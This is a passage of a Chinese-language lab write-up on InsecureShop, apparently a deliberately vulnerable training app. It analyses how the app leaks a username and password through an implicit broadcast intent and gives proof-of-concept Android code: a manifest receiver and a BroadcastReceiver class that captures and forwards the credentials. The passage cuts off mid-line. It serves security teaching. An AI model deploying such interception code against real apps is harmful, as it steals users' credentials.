目录
漏洞#9 - 使用隐式intent发送带有敏感数据的广播
1.漏洞分析
AboutUsActivity.class
可以看到通过action隐式发送一个广播,内容为用户名和密码
这个onSendData是如何触发的呢,再次查看源码,发现当前源码文件中并没有直接调用的地方
怀疑可能在其他地方进行了调用,查看布局文件activity_about_us.xml
在布局文件中,button元素onclick事件关联了onSendData方法
2.poc编写
2.1 poc安卓apk targetSdkVersion <=25-依赖清单中声明
如果目标targetSdkVersion <=25
想要接收隐式广播,可以在androidManifest.xml中声明注册
<receiver>
android:name=".vul_broadcastReciever.MyReceiver"
android:enabled="true"
android:exported="true">
<intent-filter>
<action android:name="com.insecureshop.action.BROADCAST"/>
</intent-filter>
</receiver>
MyReceiver.class
public class MyReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
if (intent != null){
String action = intent.getAction();
if ("com.insecureshop.action.BROADCAST".equals(action)){
String username = intent.getStringExtra("username");
String password = intent.getStringExtra("password");
if (username != null && password != null ) {
// 通过显示intent发送数据到activity中
Intent intent1 = new Intent(context,Vul_getDataFromBroadcast.class);
intent1.putExtra("username",username);
intent1.putExtra("password",password);
context.startActivity(intent1);
}
}
}
}
}
Vul_getDataFromBroadcast.class
// 接收数据
String username = getIntent().getStringExtra("username");
String password = getIntent().getStringExtra(&#